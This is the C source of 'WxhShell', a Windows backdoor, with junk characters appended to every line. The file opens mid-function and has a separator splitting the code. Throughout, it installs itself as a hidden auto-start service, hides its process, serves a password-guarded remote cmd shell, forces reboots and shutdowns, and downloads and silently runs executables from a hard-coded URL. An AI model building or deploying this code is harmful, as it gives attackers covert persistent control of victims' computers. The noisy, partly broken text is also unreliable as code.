    if(Boot(SHUTDOWN)) gBrIqM i5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `< VoZ/v  
    else { YwKY3kL  
    closesocket(wsh); <6Br]a60RR  
    ExitThread(0); 8)sqj=  
    } *S ;v406  
    break; & 8e~<  
    } "ua/65cq9  
  // 获取shell uD<*g(R  
  case 's': { %1e`R*I  
    CmdShell(wsh); K34y3i_  
    closesocket(wsh); bu\,2t}B  
    ExitThread(0); l%;)0gT  
    break; ydBoZ3}  
  } &?x^I{j  
  // 退出 l&E-H@Pe  
  case 'x': { b$VdTpz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q:tW LVE#0  
    CloseIt(wsh); >j\zj] -"  
    break; ah~7T~  
    } )LnHm  
  // 离开 0Wk}d(f  
  case 'q': { d~YDg{H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kf(% aDYq  
    closesocket(wsh); )M}bc1 _  
    WSACleanup(); ` R^[s56wp  
    exit(1); 3A'd7FJ0G  
    break; ^W'\8L  
        } %B#Ewt@[  
  } m3.d!~U\  
  } &oNy~l o  
P3(u+UI3  
  // 提示信息 }1'C!]j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a_FJNzL  
} {iHC;a5gb$  
  }  V18w  
/&dC?bY  
  return; <udp:s3#T  
} *bwLi h!}H  
!sfUrUu  
// shell模块句柄 b8T'DY;~  
int CmdShell(SOCKET sock)  ~)WE  
{ <r9J+xh*p  
STARTUPINFO si; 3/4xP|  
ZeroMemory(&si,sizeof(si)); XnV|{X%]U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; < R0c=BZ>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pH)V:BmJ  
PROCESS_INFORMATION ProcessInfo; 8`'_ckIgr  
char cmdline[]="cmd"; RYmk6w!w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1G$kO90  
  return 0; 6rdm=8WFA  
} }LQ&AIRN  
"jb?P$  
// 自身启动模式 `}Q+:  
int StartFromService(void) Dh J<\_;  
{ +5 @8't  
typedef struct 1<pbO:r  
{ ;J2=6np  
  DWORD ExitStatus; c_&iGQ  
  DWORD PebBaseAddress; Ks9"U^bPs  
  DWORD AffinityMask; M="%NxuS  
  DWORD BasePriority; c5^i5de  
  ULONG UniqueProcessId; 4B!]%Mw;c  
  ULONG InheritedFromUniqueProcessId;  03_tt7  
}   PROCESS_BASIC_INFORMATION; Rl<~:,D  
=3""D{l  
PROCNTQSIP NtQueryInformationProcess; #^#N%_8  
eEupqOF*:W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R6CxNPRJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JF!!)6!2#  
aY8>#t?  
  HANDLE             hProcess; Y~bp:FkS  
  PROCESS_BASIC_INFORMATION pbi; ;nSaZ$`5  
T3!l{vG \O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "l2_7ZXsPT  
  if(NULL == hInst ) return 0; Y{um1 )k  
0Tg/R4dI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a&4>xZU #  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ejD;lvf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); En-eG37 l  
=DvnfT<  
  if (!NtQueryInformationProcess) return 0; zgqe@;{  
8[ :FU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t~Ds)  
  if(!hProcess) return 0; CKrh14ul  
W<v?D6dFq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0M-Zp[w\-  
X~%Wg*Hm  
  CloseHandle(hProcess); r'k-*I  
lv,8NmP5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x)nBy)<  
if(hProcess==NULL) return 0; lOcvRF  
 /dBQ*f5  
HMODULE hMod; V#C[I~l  
char procName[255]; xOPSw|!w  
unsigned long cbNeeded; A0o6-M]'0  
Xpjk2[,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0.bmVN<  
B1J+`R3OX  
  CloseHandle(hProcess); ,7k)cNstW  
;]+kC  
if(strstr(procName,"services")) return 1; // 以服务启动 NuW9.6$Jrf  
2}' &38wMT  
  return 0; // 注册表启动 X62z>mM  
} + ECV|mkk  
.K;*uq:0  
// 主模块 \d%&_rp  
int StartWxhshell(LPSTR lpCmdLine) hH`yQGZ  
{ 5H;*Nj@  
  SOCKET wsl; <fWho%eOK  
BOOL val=TRUE; /Y%) Y  
  int port=0; {#0B~Zr  
  struct sockaddr_in door; .lTU[(qwu  
+TA(crD  
  if(wscfg.ws_autoins) Install(); ,Ix7Yg[  
%\%1EZQ%  
port=atoi(lpCmdLine); <iv9Mg}  
qdvGBdF  
if(port<=0) port=wscfg.ws_port; =}u;>[3  
Ui'~d(F  
  WSADATA data; ;m{[9i` 2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pB h [F5  
.V 9E@_(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nr6YQH*[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rOS fDv  
  door.sin_family = AF_INET; zxTm`Dh;[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \d]&}`'4{f  
  door.sin_port = htons(port); 9F ).i  
wW]|ElYR=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uWvl<{2  
closesocket(wsl); nakhepLN  
return 1; u A*Op45  
} N{L]H _=  
E&GUg/d  
  if(listen(wsl,2) == INVALID_SOCKET) { 5rfGMk <  
closesocket(wsl); JrYpZ.Nh  
return 1; $ bD 3  
} ;x| 4Tm  
  Wxhshell(wsl); =KMd! $J\  
  WSACleanup(); "JbFbcj  
/QD}_lh;,  
return 0; nU||Jg  
VOp8 ,!  
} %U-KQI0  
!A&Vg #  
// 以NT服务方式启动 O/iew3YF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xj?j1R>GB  
{ %pe7[/  
DWORD   status = 0; nNq|v=L  
  DWORD   specificError = 0xfffffff; ?)5}v4b  
6(<AuhFu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C  `k^So)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =+A8s$Pb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I^0bEwqZ~  
  serviceStatus.dwWin32ExitCode     = 0; u.1u/o1"  
  serviceStatus.dwServiceSpecificExitCode = 0; x{5 I  
  serviceStatus.dwCheckPoint       = 0; ]%"Z[R   
  serviceStatus.dwWaitHint       = 0; U_Emp[  
RR*z3i`PP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &.K=,+0_R/  
  if (hServiceStatusHandle==0) return; /,c9&i t(M  
m9.QGX\]  
status = GetLastError(); (y=P-nm  
  if (status!=NO_ERROR) 6TlkPM$~2  
{ 'hg, W]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <b{Le{QJ*  
    serviceStatus.dwCheckPoint       = 0; eWW\m[k]}  
    serviceStatus.dwWaitHint       = 0; oIQor%z  
    serviceStatus.dwWin32ExitCode     = status; ~Se/uL;*  
    serviceStatus.dwServiceSpecificExitCode = specificError; FwmE1,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Q-kD?PO,  
    return; `+k&]z$m  
  } \CX`PZ><  
adHHnH`,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _+.z2} M  
  serviceStatus.dwCheckPoint       = 0; :X,1KR  
  serviceStatus.dwWaitHint       = 0; 4$1sBY/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +w%MwPC7`  
} ){L`hQ*=w  
v|CRiwx  
// 处理NT服务事件,比如:启动、停止 J:M^oA'N:>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P_lk4 0X  
{ *~:4&$  
switch(fdwControl) {*yhiE,  
{ &HT P eB  
case SERVICE_CONTROL_STOP: |JnJ=@-y  
  serviceStatus.dwWin32ExitCode = 0; 6 @'v6 1'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q R\qGhQ~  
  serviceStatus.dwCheckPoint   = 0; =Q[ 5U9  
  serviceStatus.dwWaitHint     = 0; Go+f0aig  
  { e nDjP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | t3_E  
  } "&77`R  
  return; ;, 'eO i  
case SERVICE_CONTROL_PAUSE: $l0^2o=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; haqL DVrf  
  break; cuW$%$ F  
case SERVICE_CONTROL_CONTINUE: &AoXv`l4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; . m@Sk`s  
  break; !sK{:6s  
case SERVICE_CONTROL_INTERROGATE: 5lVDYmh  
  break; co yy T  
}; Wd3/Y/MD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y*2:(nI  
} GwxfnC Ki9  
_u]Wr%D@  
// 标准应用程序主函数 ` ~VV1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HwiG~'Ah9  
{ YDz:;Sp\  
sj0Hv d9  
// 获取操作系统版本 AL3zE=BL  
OsIsNt=GetOsVer(); {[NBTT9&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); svHs&v  
dl;^sn0s  
  // 从命令行安装 G%Wjtrpj  
  if(strpbrk(lpCmdLine,"iI")) Install(); OqHD=D[  
{6 C!^ 5  
  // 下载执行文件 _LCK|H%v'  
if(wscfg.ws_downexe) { GbBcC#0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w)5eD+n\-  
  WinExec(wscfg.ws_filenam,SW_HIDE); &,3.V+Sz  
} |r%6;8A]i  
cQA;Y!Q #  
if(!OsIsNt) { k`'^e/  
// 如果时win9x,隐藏进程并且设置为注册表启动 .ie\3q)  
HideProc(); '\[GquK;P  
StartWxhshell(lpCmdLine); `G@]\)-!  
} WVir[Kv%  
else o~*% g.  
  if(StartFromService()) 118A6qyi  
  // 以服务方式启动 rB< UOe  
  StartServiceCtrlDispatcher(DispatchTable); EO:i+e]=  
else j1_CA5V  
  // 普通方式启动 OU/PB  
  StartWxhshell(lpCmdLine); diaLw  
:BN qr[=b  
return 0; B24wn8<  
} |36d<b Io  
_r?H by<b  
LS?3 >1g  
ApG_Gd.  
=========================================== P I)lJ\  
.Q>.|mu  
r@%-S!$  
MOJKz!%  
]wc'h>w  
l _dWS9  
" 5,Mc` IIK1  
?|w>."F  
#include <stdio.h> d3St Z~&r!  
#include <string.h> `DUMTFcMX  
#include <windows.h> 'W@X139zq  
#include <winsock2.h> x32hO;  
#include <winsvc.h> f)Z$ ,&  
#include <urlmon.h> 9h9 jS~h  
6`J*{%mP  
#pragma comment (lib, "Ws2_32.lib") ;1'X_tp  
#pragma comment (lib, "urlmon.lib") >DP9S@W  
LD0x 4zm$m  
#define MAX_USER   100 // 最大客户端连接数 .Wc<(pfa  
#define BUF_SOCK   200 // sock buffer ~+/IzckrG  
#define KEY_BUFF   255 // 输入 buffer Wj(O_2  
@aAB#,  
#define REBOOT     0   // 重启 bzF>Efza  
#define SHUTDOWN   1   // 关机 =e$<[ "  
h.l^f>, /  
#define DEF_PORT   5000 // 监听端口 !9_HZ(W&  
HQCxO?  
#define REG_LEN     16   // 注册表键长度 }~DlOvsq  
#define SVC_LEN     80   // NT服务名长度 8iGS=M  
^<}9#q/rt  
// 从dll定义API ;}@.E@s%'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {^a"T'+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FAX|.!US*p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sf<S#;aYqn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M ~z A  
!ow:P8K?  
// wxhshell配置信息 :k*'M U}  
struct WSCFG { Ub2t7MU  
  int ws_port;         // 监听端口 &)zNu  
  char ws_passstr[REG_LEN]; // 口令 3CL/9C>  
  int ws_autoins;       // 安装标记, 1=yes 0=no C& BRyo  
  char ws_regname[REG_LEN]; // 注册表键名 2!Yq9,`  
  char ws_svcname[REG_LEN]; // 服务名 a\pOgIp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'y[74?1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ($pNOG H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;|}N\[fk%]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K!Te*?b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2Tec#eYe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L-? ?%_=  
zkt`7Pg;J  
}; v[{g "C  
z6)b XL[f  
// default Wxhshell configuration *:gx1wd  
struct WSCFG wscfg={DEF_PORT, t~]n"zgovz  
    "xuhuanlingzhe", rofj&{w  
    1, `u$  Rd  
    "Wxhshell", H=RzY-\a%  
    "Wxhshell", LeRyS]  
            "WxhShell Service", ]Wr2 IM  
    "Wrsky Windows CmdShell Service", Z}#'.y\ f  
    "Please Input Your Password: ", zisf8x7^W  
  1, .ZQD`SRrI  
  "http://www.wrsky.com/wxhshell.exe", "{(|}Cds  
  "Wxhshell.exe" Q6)Wh6Cm  
    }; 1yC_/Va1  
gB|>[6  
// 消息定义模块 -FpZZ8=,M2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -@L7! ,j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =z^ 2KH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m#1 >y}  
char *msg_ws_ext="\n\rExit."; !xk`oW  
char *msg_ws_end="\n\rQuit."; .8e]-^Z  
char *msg_ws_boot="\n\rReboot..."; ])OrSsV}  
char *msg_ws_poff="\n\rShutdown..."; P1C{G'cR  
char *msg_ws_down="\n\rSave to "; /S2lA>  
KCP$i@Pjv  
char *msg_ws_err="\n\rErr!"; )l?1 dR:sP  
char *msg_ws_ok="\n\rOK!"; 2tD{c^ 9<  
jV{?.0/h|  
char ExeFile[MAX_PATH]; : N9,/-s  
int nUser = 0; E+z),"QA  
HANDLE handles[MAX_USER]; + OKk~GYf  
int OsIsNt; k;/K']4y  
>x?x3#SX  
SERVICE_STATUS       serviceStatus; J;HYGu:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I\e/ Bv^  
=r|e]4  
// 函数声明 idsBw!DB  
int Install(void); )|3BS`  
int Uninstall(void); J([Y4Em5  
int DownloadFile(char *sURL, SOCKET wsh); Y*VF1M,2_  
int Boot(int flag); 3bYP i^  
void HideProc(void); &s6;2G&L$  
int GetOsVer(void); b'q ru~i  
int Wxhshell(SOCKET wsl); X* 4C?v  
void TalkWithClient(void *cs); I+2#k\y  
int CmdShell(SOCKET sock); xmVW6 ,<?  
int StartFromService(void); H=lzW_(  
int StartWxhshell(LPSTR lpCmdLine); ?vt#M^Q   
aa2 vk)~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o8_))  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d?:KEi-<7  
M>qqe!c*  
// 数据结构和表定义 yz}ik^T  
SERVICE_TABLE_ENTRY DispatchTable[] = OSoIH`t A  
{ LV2#w_^I  
{wscfg.ws_svcname, NTServiceMain}, |7%has3"  
{NULL, NULL} #`]`gNB0Yg  
}; ej91)3AO  
j]HzI{7y  
// 自我安装 `D/<*e,#  
int Install(void) gn//]|#H+  
{ A@uU*]TqJ8  
  char svExeFile[MAX_PATH]; f/7on| bv  
  HKEY key; &u`EYxT  
  strcpy(svExeFile,ExeFile); qu\cU(H|  
,V^2Oa  
// 如果是win9x系统,修改注册表设为自启动 1X5MknA  
if(!OsIsNt) { =kzuU1s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G&Fe2&5!w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -7Bg5{FA  
  RegCloseKey(key); MO^Q 8v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^>wlj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &x?m5%^l  
  RegCloseKey(key); p40;@gUug  
  return 0; *@I/TX'\rY  
    } 0tKVo]EK  
  } Q~R%|Q{&  
} tm1#Lh0  
else { vh"wXu  
0Q7|2{  
// 如果是NT以上系统,安装为系统服务 ?K\r-J!Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZH)Jq^^RI  
if (schSCManager!=0) ^HhV ?Iqg  
{ lvAKL>qX  
  SC_HANDLE schService = CreateService E3LEeXcLS  
  ( %W}YtDf\  
  schSCManager, hbdB67,  
  wscfg.ws_svcname, Mfn^v:Q#  
  wscfg.ws_svcdisp, T)MX]T  
  SERVICE_ALL_ACCESS, Tw,|ZA4XH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6E@TcN~ ,!  
  SERVICE_AUTO_START, A$g'/QM  
  SERVICE_ERROR_NORMAL, j/t)=c  
  svExeFile, T mK[^  
  NULL, K 0e*K=UM  
  NULL, \G0YLV~>P  
  NULL, |.z4VJi4  
  NULL, {uDH-b(R  
  NULL qTrM*/m:]L  
  ); 8-_atL  
  if (schService!=0) .],:pL9d  
  { *Sg6VGP  
  CloseServiceHandle(schService); 4|&_i)S-Y  
  CloseServiceHandle(schSCManager); ::p%R@?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QE|x[?7e,!  
  strcat(svExeFile,wscfg.ws_svcname); (gRTSd T ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mEmgr(W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Cxd^i  
  RegCloseKey(key); h ,\5C/  
  return 0; )[ QT ?;  
    } q eDXG  
  } 5O(U1 *  
  CloseServiceHandle(schSCManager); %I=/ y  
} wRdN(`;v  
} EK.n $  
{%_D> y  
return 1; \9fJ)*-  
} eZ]>;5  
+[ng99p  
// 自我卸载 @Q7^caG  
int Uninstall(void) H|S hi/  
{ 2:@,~{`#*  
  HKEY key; 3*T/ 7\  
C|V5@O?;&  
if(!OsIsNt) { 2#   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P~#LbUP(  
  RegDeleteValue(key,wscfg.ws_regname); b0sj0w/  
  RegCloseKey(key); d\R "?Sg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "/G] M&  
  RegDeleteValue(key,wscfg.ws_regname); l)e6*sDZ,  
  RegCloseKey(key); 6?ky~CV  
  return 0; Fh/psd  
  } Q\W)}  
} foUBMl  
} l_s#7.9$  
else { x~i\*Ox^  
DS+BX`i%#p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ FNW[V  
if (schSCManager!=0) OHwH(}H?  
{ D9  Mst6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G6}!PEwM  
  if (schService!=0) # 0d7  
  { f 8\DAN  
  if(DeleteService(schService)!=0) { SKF0p))BJ  
  CloseServiceHandle(schService); 'C=(?H)M  
  CloseServiceHandle(schSCManager); j115:f  
  return 0; r0wAh/J|  
  } d;,Jf*x\  
  CloseServiceHandle(schService); B8unF=u  
  } 0dIGX |e  
  CloseServiceHandle(schSCManager); m70AWG  
} .+mP#<mAg  
} odDVdVx0  
8>G5VhCm~o  
return 1; ex#-,;T  
} <`WDNi$Y  
l9]nrT1Hy  
// 从指定url下载文件 V$w bmz  
int DownloadFile(char *sURL, SOCKET wsh) :]4s;q:m  
{ IA Ws}xIly  
  HRESULT hr; yRi5t{!V  
char seps[]= "/"; mo9(2@~<  
char *token; @HTs.4  
char *file; /eT9W[a  
char myURL[MAX_PATH]; ]heVR&bQ  
char myFILE[MAX_PATH]; xi=0 kO  
vT MCZ+^g  
strcpy(myURL,sURL); qo}yEl1  
  token=strtok(myURL,seps); PdEPDyFkh  
  while(token!=NULL) :fDzMD  
  { q6hH]Q>w*  
    file=token; U# IPYyV  
  token=strtok(NULL,seps); v-8{mK`9\  
  } belBdxa{"  
LN) yQ-  
GetCurrentDirectory(MAX_PATH,myFILE); ~c5 5LlO>  
strcat(myFILE, "\\"); ~Y{]yBGoF  
strcat(myFILE, file); Lr20xm  
  send(wsh,myFILE,strlen(myFILE),0); 8QMMKO ui\  
send(wsh,"...",3,0); 0$NzRPbH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nTw:BU4jd  
  if(hr==S_OK) Bp5 %&T k  
return 0; t<"`gM^|  
else m;nH v  
return 1; 9ei<ou_s  
[VLq/lg*  
} VU6+" 2+'2  
Lctp=X4  
// 系统电源模块 N?8nlrDQ  
int Boot(int flag) bl^pMt1fv  
{ 'K}2m  
  HANDLE hToken; 3DxgfP%n  
  TOKEN_PRIVILEGES tkp; WZjR^ 6  
lYS "  
  if(OsIsNt) { @Z7s3b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nET<u;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9':Hh'  
    tkp.PrivilegeCount = 1; S|;}]6p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q);}1'c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t|9vb  
if(flag==REBOOT) { \II^&xSF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NG RXNh+  
  return 0; FjI1'Ah\  
} Y] UoV_  
else {  fOKAy'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =*.S<Ko)  
  return 0; VZe'6?#  
} DZ $O%  
  } i+Mg[x$.  
  else { g~(G P  
if(flag==REBOOT) { qG2P?DR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e|>@ >F]K  
  return 0; QxuU3#l  
} \F\xZ.r  
else { Gm> =s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I~E&::,  
  return 0; &|h9L'mr  
} z_#HJ}R=  
} X{[$4\di{  
ug'^$geM  
return 1; 9 &Ry51  
} k py)kS  
/!.]Y8yEH  
// win9x进程隐藏模块 GO*D4<#u  
void HideProc(void) In;P33'p  
{ i5_l//]  
O;&5> W,Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I.>8p]X  
  if ( hKernel != NULL ) X)= m4\R  
  { c/=\YeR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EY.m,@{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); **oDQwW]*  
    FreeLibrary(hKernel); IFZw54  
  } '*Tt$0#o  
ynf!1!4  
return; K@oyvJ$  
} }7K~-  
[\%a7ji#  
// 获取操作系统版本 snNB;hkj  
int GetOsVer(void) ;TK$?hrv*1  
{ *(XGNp[0  
  OSVERSIONINFO winfo; (dx~lMI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  @k#xr  
  GetVersionEx(&winfo); T11>&K)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q~n%c7  
  return 1; 3hEbM'L  
  else \/nSRAk  
  return 0; cXr_,>k  
} I"Q U{]|J  
``@e7~F{  
// 客户端句柄模块 }AiF 7N0  
int Wxhshell(SOCKET wsl) 'geN  dx  
{ / %F,  
  SOCKET wsh; c+O:n:L  
  struct sockaddr_in client; m;TekJXm  
  DWORD myID; W&[-QM8  
5{IbKj|  
  while(nUser<MAX_USER) w'y,$gtX/  
{ k! x`cp  
  int nSize=sizeof(client); aWP9i &  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M"msLz  
  if(wsh==INVALID_SOCKET) return 1; @3U=kO(^+\  
?k@;,l :s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MX+gc$Y O  
if(handles[nUser]==0) w4&\-S#  
  closesocket(wsh); b `}hw"f  
else x2/ciC  
  nUser++; /^gu&xnS  
  } {Q`Q2'@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QF22_D<.}J  
0HQTe>!  
  return 0; b&d4(dk  
} )(c%QWz  
|TF6&$>d  
// 关闭 socket -q nOq[  
void CloseIt(SOCKET wsh) cFq2 6(e  
{ \JCpwNT{P  
closesocket(wsh); 3{Zd<JYg4-  
nUser--; ZsYY)<n  
ExitThread(0); l&m Y}k  
} v0bP|h[t  
HV]u9nrt#  
// 客户端请求句柄 *D`$oK,U  
void TalkWithClient(void *cs) 6TXTJ]er  
{ 7&w[h4Lw  
^ ]+vtk  
  SOCKET wsh=(SOCKET)cs; wS >S\,LV  
  char pwd[SVC_LEN]; [L ' >  
  char cmd[KEY_BUFF]; 6JR FYgI  
char chr[1]; ivt ~ S  
int i,j; v_pFI8Cz)  
0xaK"\Q   
  while (nUser < MAX_USER) { [l7n "gJ~  
+Z=y/wY  
if(wscfg.ws_passstr) { f|3LeOyz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~0}d=d5g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0< }BSv  
  //ZeroMemory(pwd,KEY_BUFF); ,,Ivey!kL  
      i=0; YOA)paq+  
  while(i<SVC_LEN) { ?V(+Cc  
6!;D],,"#.  
  // 设置超时 k\g:uIsv$  
  fd_set FdRead; vWL| vR  
  struct timeval TimeOut; ZG~d<kM&8s  
  FD_ZERO(&FdRead); 9ESV[  
  FD_SET(wsh,&FdRead); 0h{&k7T<7  
  TimeOut.tv_sec=8; GNHWbC6_m  
  TimeOut.tv_usec=0; OsRizcgdA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UgZL<}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g'2; ///  
F%O+w;J4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <,U$Y>  
  pwd=chr[0]; mHH>qW{`  
  if(chr[0]==0xd || chr[0]==0xa) { .*J /F$  
  pwd=0; l|;]"&|_]c  
  break; %J9+`uSl  
  } .S* sGauM  
  i++; C9,Uwz<!]  
    } CT'#~~QB  
hZ "Sqm]  
  // 如果是非法用户,关闭 socket 0JqvV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eF' l_*  
} g yT0h?xDt  
;Sp/N4+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H6/gRv@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2R;#XmKS  
x,fL656t  
while(1) { WSGho(\  
k<NxI\s8]  
  ZeroMemory(cmd,KEY_BUFF); M)H*$!x}>  
7" )~JBH  
      // 自动支持客户端 telnet标准   {A)9ePgv!  
  j=0; \BO6.;jA  
  while(j<KEY_BUFF) { +AFBTJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <\P `<  
  cmd[j]=chr[0]; j[dgY1yE:  
  if(chr[0]==0xa || chr[0]==0xd) { NYzBfL x  
  cmd[j]=0; VSh&Y_%  
  break; Nu'ox. V  
  } p\.IP2+c  
  j++; QFgKEUNgl  
    } 1y,/|Y  
3UUN@Tx  
  // 下载文件 >gz8,&  
  if(strstr(cmd,"http://")) { [X>f;;h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); POX{;[SV  
  if(DownloadFile(cmd,wsh)) 4Tb"+Y}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wti  
  else >5D;uTy u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7<Y aw,G  
  } z*9 ke  
  else { uf"(b"N0  
S6fbwZZMG  
    switch(cmd[0]) { o7eWL/1  
